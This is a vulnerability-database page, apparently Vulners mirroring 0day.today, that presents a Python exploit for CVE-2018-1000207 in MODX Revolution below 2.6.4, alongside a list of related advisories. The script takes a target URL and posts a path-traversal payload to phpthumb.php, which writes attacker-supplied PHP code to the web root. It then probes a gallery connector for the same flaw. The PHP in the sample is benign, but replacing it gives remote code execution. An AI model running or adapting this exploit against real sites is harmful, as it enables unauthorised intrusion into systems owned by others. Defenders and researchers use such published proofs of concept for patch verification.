Lucene search
K

Modx Revolution < 2.6.4 - Remote Code Execution Exploit

🗓️ 19 Jul 2018 00:00:00Reported by Vitalii RudnykhType 
zdt
 zdt
🔗 0day.today👁 103 Views

Modx Revolution < 2.6.4 - Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Modx Revolution Remote Code Execution Vulnerability
20 Jul 201800:00
cnvd
CVE
CVE-2018-1000207
13 Jul 201818:00
cve
Cvelist
CVE-2018-1000207
13 Jul 201818:00
cvelist
Dsquare
MODX Revolution < 2.6.4 File Upload
28 Sep 201800:00
dsquare
Exploit DB
Modx Revolution &lt; 2.6.4 - Remote Code Execution
18 Jul 201800:00
exploitdb
EUVD
EUVD-2022-4520
3 Oct 202520:07
euvd
exploitpack
Modx Revolution 2.6.4 - Remote Code Execution
18 Jul 201800:00
exploitpack
Github Security Blog
MODX Revolution Incorrect Access Control vulnerability
13 May 202201:48
github
Imperva Blog
The World’s Most Popular Coding Language Happens to be Most Hackers’ Weapon of Choice
26 Sep 201816:18
impervablog
NVD
CVE-2018-1000207
13 Jul 201818:29
nvd
Rows per page
# Exploit Title: Modx Revolution < 2.6.4 - Remote Code Execution
# Date: 2018-07-13
# Exploit Author: Vitalii Rudnykh
# Vendor Homepage: https://modx.com/
# Version: <= 2.6.4
# CVE : CVE-2018-1000207
 
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import os
import requests
from colorama import init, Fore, Style
try:
    init()
 
    def cls():
        os.system('cls' if os.name == 'nt' else 'clear')
 
    cls()
 
    print(Fore.BLUE +
          '################################################################')
    print(Fore.CYAN +
          '# Proof-Of-Concept for CVE-2018-1000207 (Modx Revolution)')
    print('# by Vitalii Rudnykh')
    print('# Thanks by AgelNash')
    print('# https://github.com/a2u/CVE-2018-1000207/')
    print(Fore.BLUE +
          '################################################################')
    print('Provided only for educational or information purposes')
    print(Style.RESET_ALL)
    target = input('Enter target url (example: http(s)://domain.tld/): ')
 
    verify = True
    code = '<?php echo md5(\'a2u\'); unlink($_SERVER[\'SCRIPT_FILENAME\']);?>'
 
    if requests.get(
            target + '/connectors/system/phpthumb.php',
            verify=verify).status_code != 404:
        print(Fore.GREEN + '/connectors/system/phpthumb.php - found')
        url = target + '/connectors/system/phpthumb.php'
        payload = {
            'ctx': 'web',
            'cache_filename': '../../payload.php',
            'useRawIMoutput': '1',
            'src': '.',
            'IMresizedData': code,
            'config_prefer_imagemagick': '0'
        }
 
        r = requests.post(url, data=payload, verify=verify)
        check = requests.get(target + 'payload.php', verify=verify)
        if check.text == '9bdc11de19fd93975bf9c9ec3dd7292d':
            print(Fore.GREEN + 'Exploitable!\n')
        else:
            print(Fore.RED + 'Not exploitable!\n')
    else:
        print(Fore.RED + 'phpthumb.php - not found')
 
    if requests.get(
            target + '/assets/components/gallery/connector.php',
            verify=verify).status_code != 404:
        print(Fore.GREEN + '/assets/components/gallery/connector.php - found')
        url = target + '/assets/components/gallery/connector.php'
 
        payload = {
            'action': 'web/phpthumb',
            'f': 'php',
            'useRawIMoutput': '1',
            'IMresizedData': 'Ok',
            'config_prefer_imagemagick': '0'
        }
        r = requests.post(url, data=payload, verify=verify)
        if r.text == 'Ok':
            print(Fore.GREEN + 'Exploitable!\n')
        else:
            print(Fore.RED + 'Not exploitable!\n')
 
    else:
        print(
            Fore.RED + '/assets/components/gallery/connector.php - not found')
 
except KeyboardInterrupt:
    cls()

#  0day.today [2018-07-19]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation